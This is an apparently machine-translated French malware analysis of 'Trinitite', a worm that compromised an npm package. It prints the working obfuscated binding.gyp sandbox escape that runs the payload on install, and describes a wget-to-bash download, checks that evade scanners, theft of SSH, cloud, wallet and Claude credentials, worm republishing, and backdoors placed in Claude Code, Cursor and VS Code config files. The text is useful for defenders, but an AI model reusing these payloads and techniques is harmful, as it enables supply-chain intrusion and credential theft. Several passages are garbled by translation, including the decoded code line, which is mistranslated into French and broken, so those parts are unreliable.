Cela ne fait qu'un jour que nous avons appris la nouvelle de Des membres de TeamPCP arrêtés en Australie, et nous venons de détecter un nouveau logiciel malveillant de type TeamPCP qui touche 10 versions d'un paquet npm très répandu appelé @7nohe/openapi-react-query-codegen (+150 000 téléchargements hebdomadaires). Ces versions ont toutes été publiées sur npm en l'espace de 20 minutes. Le package en question génère des hooks TanStack Query avec sécurité de types directement à partir d'un schéma OpenAPI, ce qui évite aux développeurs d'avoir à écrire manuellement du code standard.
Le logiciel malveillant se nomme lui-même « Trinitite : avec le soutien de Preview 2 Effects ». La trinitite est la matière vitreuse qui se dépose sur le sol du désert après une explosion nucléaire. Les premières versions de la charge utile faisaient référence à un script portant littéralement le nom de is_it_this_simple.js, ce qui résume assez bien l'état d'esprit.
On ignore encore s'il s'agit d'un imitateur, d'un ancien membre qui a échappé aux arrestations ou d'un acteur malveillant totalement distinct. Quoi qu'il en soit, la personne à l'origine de cette attaque partage manifestement le goût de TeamPCP pour le spectaculaire.
Le paquet npm et le dépôt GitHub correspondant semblent tous deux avoir été compromis. Le pirate a réussi à y accéder en exploitant une vulnérabilité dans l'un des workflows GitHub Actions du projet. Par conséquent, toutes les versions sont accompagnées d'attestations de provenance valides. Il s'agit de certificats cryptographiques prouvant que le paquet a été compilé par le workflow GitHub Actions officiel. Cependant, lorsque le workflow lui-même est compromis, ce certificat perd toute valeur en tant qu'indicateur de confiance.
Le bac à sable binding.gyp escape
Le hook d'exécution initial est binding.gyp, un fichier généralement utilisé pour configurer la compilation des modules natifs de Node.js. J'ai été quelque peu surpris de voir cette astuce particulière utilisée ici, étant donné que je avait déjà fait état de cette catégorie de vulnérabilités en début d'année. Cette technique semble gagner en popularité.
Quand npm install traite un colis contenant un binding.gyp, il fait appel à node-gyp pour compiler le module natif. node-gyp évalue le conditions champ du fichier à l'aide de Python, ce qui signifie que des expressions Python arbitraires peuvent y être insérées et qu'elles seront exécutées lors de l'installation, même sans aucune preinstall script déclaré dans package.json.
Le binding.gyp Dans ce paquet, cela se présente comme suit :
{
"variables": {
"var": "Frot",
},
"conditions":[
["[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == u'\\U00000063\\U00000061\\U00000074\\U00000063\\U00000068\\U0000005f\\U00000077\\U00000061\\U00000072\\U0000006e\\U00000069\\U0000006e\\U00000067\\U00000073'][0]()._module.__builtins__[u'\\U0000005f\\U0000005f\\U00000069\\U0000006d\\U00000070\\U0000006f\\U00000072\\U00000074\\U0000005f\\U0000005f'](u'\\U0000006f\\U00000073').system(u'\\U0000006E\\U0000006F\\U00000064\\U00000065\\U00000020\\U00000033\\U00000046\\U00000057\\U00000043\\U00000076\\U0000007A\\U00000064\\U00000075\\U00000059\\U0000005A\\U00000067\\U0000002E\\U0000006A\\U00000073') == 0x00", {}],
],
"targets": [
{
"target_name": "<(var)",
"type":"\x6e\x6f\x6e\x65",
"sources": ["dog.c"],
}
]
}L'expression conditionnelle est une escape de la sandbox Python utilisant le catch_warnings classe, accessible en parcourant la hiérarchie des classes à partir de (). Une fois décodés, les séquences d'échappement Unicode et hexadécimales donnent le résultat suivant :
[c pour c dans ().__class__.__base__.__subclasses__() si c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node 3FWCvzduYZg.js')Il détermine le catch_warnings classe via l'arborescence interne des sous-classes de Python, l'utilise pour accéder à __builtins__, importations os, et appelle os.system() pour exécuter la charge utile principale avec Node. Le type le champ est codé en hexadécimal aucun Aucune compilation native n'est donc effectuée, et le nom de la cible Frot n'a aucun sens. Ce fichier n'a pour seule raison d'être que d'exécuter une commande shell.
Il convient de noter que toutes les versions compromises n'utilisent pas cette astuce. Les deux versions préliminaires utilisent une méthode plus simple preinstall utilisez plutôt le script. 0.0.0-ec7876d6c917dad516ba69bbfafc948b834bf0ab s'exécute node nu.js directement. 0.0.0-365d4eb738d3146583431948d3ba6e27a32556be téléchargements de Bun via wget acheminé vers bash puis s'exécute is_it_this_simple.js.
Cela dit, les versions compromises suivantes sont allées encore plus loin et ont intégré les deux vecteurs simultanément, en associant le binding.gyp astuce avec un « preinstall » : « node 3FWCvzduYZg.js » un script, pour faire bonne mesure.
Obfuscation et contournement des environnements de test
3FWCvzduYZg.js Il s'agit d'un fichier à ligne unique de 5,4 Mo situé à la racine du paquet. Ce fichier utilise quatre couches de chiffrement. La couche la plus externe est un tableau d'entiers de 1,6 million d'éléments, soumis à une opération XOR avec la clé 29. Une fois déchiffré, ce fichier donne un script qui télécharge silencieusement le runtime Bun (comme trinnyyyy-XXXXX (dans le répertoire temporaire du système) et s’en sert pour exécuter la charge utile réelle, qui est chiffrée en AES-128-GCM. La charge utile interne est constituée de 800 Ko supplémentaires de code JavaScript obscurci, utilisant un chiffrement personnalisé à table aléatoire en plus des transformations standard d’obfuscator.io. Une fois entièrement déchiffrée et désobscurcie, elle contient un collecteur d’identifiants, un ver et une commande destructive.
Avant toute chose, la charge utile vérifie plusieurs conditions et se ferme sans afficher de message si l’une d’entre elles est remplie :
- Les paramètres régionaux du système sont définis sur le russe (vérification
Intl.DateTimeFormat,LC_ALL,LC_MESSAGES,LANGUE,LANG) - CrowdStrike, les répertoires « SentinelOne » ou « CarbonBlack » sont présents
- Le répertoire de travail commence par
/tmp/npm-safe/ou/opt/hscan-supplychain-dynamic/ - Les variables d'environnement contiennent des préfixes d'identifiants factices connus utilisés par les scanners de sécurité (
AKIAFAKE,npm_F4k3NPMToken,sk-ant-api03-faux,ghp_decoyGitHubToken) - Le
GITHUB_REPOSITORY_OWNERest l'un des nombreux comptes connus de chercheurs en sécurité (actions-sécurité-démo,h0x0er,varunsh-coder,rohan-stepsecurity) - L'outil « harden-runner » de StepSecurity est actif
Ce qu'il dérobe
La charge utile cible un large éventail d'identifiants, qu'il s'agisse de plateformes d'cloud , d'outils de développement ou de fichiers locaux.
Tokens GitHub
Recherche les PAT classiques (gh[op]_...) et des tokens à granularité fine (github_pat_...) dans les variables d'environnement et les fichiers locaux. Sur les runners GitHub Actions, il demande également un jeton OIDC via ACTIONS_ID_TOKEN_REQUEST_TOKEN et ACTIONS_ID_TOKEN_REQUEST_URL.
Jetons npm, PyPI et RubyGems
Lit ~\/.npmrc et recherche d'autres .npmrc fichiers. Extrait les jetons au porteur et les valide par rapport à registry.npmjs[.]org/-/whoami. Cible les jetons PyPI (pypi-AgEIcHlwaS5vcmcCJ...) et les jetons RubyGems (rubygems_...) selon la même méthode.
Identifiants AWS
AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY,AWS_SESSION_TOKEN, ainsi que dix variables d'environnement associées~/.aws/credentialset~/.aws/config- Service de métadonnées des instances EC2 à l'adresse
169[.]254[.]169[.]254, en essayant d'abord IMDSv2 - Point de terminaison des métadonnées des conteneurs ECS à l'adresse
169[.]254[.]170[.]2 - Appels
sts:GetCallerIdentitypour vérifier les identifiants avant de procéder à l'exfiltration
Identifiants Azure
AZURE_CLIENT_ID,AZURE_CLIENT_SECRET,AZURE_TENANT_ID, et fichier de jetons fédérés- Point de terminaison d'identité gérée Azure IMDS
- Accède à Azure Key Vault, Azure Resource Manager et l'API Microsoft Graph une fois l'authentification effectuée
Identifiants GCP
GOOGLE_APPLICATION_CREDENTIALSFichier JSON du compte de service- Serveur de métadonnées GCP à l'adresse
metadata[.]google[.]internal - Google Secret Manager une fois le jeton obtenu
HashiCorp Vault
VAULT_TOKEN_FILE,VAULT_TOKEN_PATH,VAULT_ADDR,VAULT_API_TOKEN- Énumère les secrets via
/api/v1/system/me,/secrets,/api/v1/namespaces
Kubernetes
- Jeton du compte de service à l'adresse
/var/run/secrets/kubernetes.io/serviceaccount/token KUBECONFIGet~/.kube/config/etc/rancher/k3s/k3s.yaml
Analyse du système de fichiers (plus de 150 modèles glob)
- Toutes les clés privées SSH :
~/.ssh/id_rsa,~/.ssh/id_ed25519,~/.ssh/id_ecdsa,~/.ssh/id_dsa,~/.ssh/id* ~/.docker/config.json,/root/.docker/config.json.env,.env.local,.env.production~/.git-credentials,~/.gitconfig,~/.config/git/credentials~\/.npmrc,~/.pypirc,~/.cargo/credentials.toml,~/.terraform.d/credentials.tfrc.json~/.bash_history,~/.zsh_history,~/.node_repl_history- Portefeuilles cryptographiques :
~/.ethereum/keystore/*,~/.monero/*, Ledger Live, Exodus - Données relatives aux sessions de messagerie : Signal, Telegram Desktop, Discord, Slack, Element
- Configurations VPN : NordVPN, OpenVPN, ProtonVPN, CyberGhost, Windscribe, PIA
- Claude AI :
~/.claude.json,~/.claude/*,~/.claude/projects/*,~/.claude/mcp.json - Domaines et jetons JFrog Artifactory
Exfiltration
Une fois les identifiants récupérés, la charge utile a besoin d'un dépôt GitHub pour y transférer ces informations. Comme lors des précédentes attaques de type Miasma, elle commence par parcourir l'historique public des commits de GitHub à la recherche de commits dont le message correspond à "IfYouRevokeThisTokenYourABadUser:{encrypted_token}". Il déchiffre le jeton intégré et utilise ce compte pour créer le dépôt d'exfiltration. Cela signifie que les données volées à une victime se retrouvent dans un dépôt appartenant à un autre utilisateur.
Le nom du référentiel est généré en combinant deux éléments choisis au hasard Projet Touhou des noms de personnages générés à partir d'un nombre aléatoire, par exemple cirno-marisa-74291 ou reimu-kogasa-12048. La description du référentiel est définie sur « Trinitite : avec le soutien de Preview 2 Effects », ce qui vous permet d'identifier les référentiels d'exfiltration en circulation :

Les identifiants volés sont enregistrés sous forme de fichiers JSON chiffrés nommés doubletrinnys-{compteur}-{horodatage}.json à l'intérieur d'un results/ répertoire. Chaque fichier contient deux champs : enveloppe, le faisceau d'identifiants chiffrés, et clé, la clé de chiffrement elle-même étant chiffrée à l'aide de la clé publique RSA de l'attaquant. Seul l'attaquant, qui détient la clé privée correspondante, peut déchiffrer le contenu. Les données sont visibles par tous sur les dépôts publics GitHub, mais elles sont illisibles pour toute autre personne. Il est intéressant de noter que la plupart des messages de commit se limitent à indiquer « miaou miaou miaou ».
Propagation du ver
Trinitite utilise des jetons volés pour se propager à d'autres paquets et dépôts.
npm, PyPI et RubyGems
À l'aide d'un jeton npm volé, la charge utile appelle registry.npmjs[.]org/-/npm/v1/tokens pour trouver le jeton de publication disposant du niveau de privilège le plus élevé, puis interroge /v1/search?text=maintainer:{user} pour répertorier tous les paquets dont le responsable est en charge. Il récupère l'archive tar actuelle de chaque paquet, y insère un nouveau binding.gyp contenant le même environnement isolé Python escape, ajoute une copie de 3FWCvzduYZg.js, et publie une nouvelle version. Le même principe s'applique à PyPI (via upload.pypi[.]org/legacy/) et RubyGems (via rubygems[.]org/api/v1/gems). Toutes les demandes de publication utilisent {tls: {rejectUnauthorized: false}} pour contourner le « certificate pinning ».
Contamination des dépôts GitHub
À l'aide d'un jeton GitHub volé, la charge utile répertorie tous les dépôts et toutes les branches accessibles, en ignorant les branches dont le nom commence par communiqué/, dependabot/, rénover/, et copilote/. Pour chaque branche, il effectue une validation des fichiers suivants :
.vscode/tasks.jsonavec une configuration du gestionnaire de tâches comportant une porte dérobée.claude/settings.jsonavec unDébut de sessionhook qui s'exécutesetup.mjschaque fois qu'un développeur ouvre le projet dans Claude Code.claude/setup.mjscontenant la charge utile secondaire.vscode/setup.mjscontenant la même chose.github/workflows/codeql.yml, un faux processus de sécurité « CodeQL » qui sert également de porte dérobée.gemini/settings.json,.cursor/rules/debug.mdc,.codex/config.toml,.opencode/plugins/setup.js
Chaque commit est attribué à github-actions avec le message « Tâche : mise à jour des dépendances » et un skip-checks:true remorque permettant de contourner les contrôles d'état obligatoires.
Comment Aikido détecte cela
Si vous êtes un utilisateur Aikido, vérifiez votre flux central et filtrez les problèmes de logiciels malveillants. Cela apparaîtra comme un problème critique 100/100. Aikido effectue des rescans nocturnes, mais nous vous recommandons de déclencher un rescan manuel dès maintenant.
Si vous n'êtes pas encore un utilisateur Aikido, vous pouvez créer un compte et connecter vos dépôts. Notre couverture des logiciels malveillants est incluse dans le plan gratuit, aucune carte de crédit requise.
Pour une couverture plus large au sein de toute votre équipe, la Device Protection d'Aikido vous offre une visibilité et un contrôle sur les packages logiciels installés sur les appareils de votre équipe. Elle couvre les extensions de navigateur, les bibliothèques de code, les plugins d'IDE et les dépendances de build, le tout en un seul endroit. Arrêtez les malwares avant qu'ils ne soient installés.
Pour une protection future, envisagez Aikido Safe Chain (open source). Safe Chain s'intègre à votre flux de travail existant, en interceptant les commandes npm, npx, yarn, pnpm et pnpx et en vérifiant les paquets par rapport à Aikido Intel avant l'installation.
Indicateurs de compromission (IOCs)
Versions du paquet
@7nohe/openapi-react-query-codegen@0.5.4@7nohe/openapi-react-query-codegen@0.5.5@7nohe/openapi-react-query-codegen@1.6.3@7nohe/openapi-react-query-codegen@1.6.4@7nohe/openapi-react-query-codegen@2.2.1@7nohe/openapi-react-query-codegen@2.2.2@7nohe/openapi-react-query-codegen@3.0.3@7nohe/openapi-react-query-codegen@3.0.4@7nohe/openapi-react-query-codegen@0.0.0-365d4eb738d3146583431948d3ba6e27a32556be@7nohe/openapi-react-query-codegen@0.0.0-ec7876d6c917dad516ba69bbfafc948b834bf0ab
Fichiers
3FWCvzduYZg.jsprésent dans le répertoire racine du paquet- SHA256:
8e5d1af68ca340ae0c6e8132cb00c686ec2d60502c1994d94ce353d1472ad5a3 - SHA256:
b49afb7dba04cd99b357ce7c652c823a3707f28e130bd5c6645851a7adc030d6 - SHA256:
59370c67b54a0ccaedd265e2356f04540b2fba1e1845300ef6de4d5437d99380 - SHA256:
778d6f0058045d6a2ab9a7e1d3e3be8e7e6b4d9cc217d13949bf1dfbab759a7c - SHA256:
b24d121667f21f492cb9db34fbfd515d5922a8dd30b9c45215c7220abbb10ca8 - SHA256:
e1f1162ece9a6e6ea21a20399cbf31c563a8149d433a68711f4223870c203d5a - SHA256:
b6012b2ff87f08f93ee53921c48db907ddbcf5461b03bb988083b01a36886237 - SHA256:
709af2fdeb50324229e94c44c679a0fab18bd8e17d3864405989c526cbb63ad8
- SHA256:
- Répertoires temporaires nommés
trinnyyyy-suivi de 6 caractères alphanumériques aléatoires (par exemple :trinnyyyy-a3f9k2) dans le dossier « temp » du système

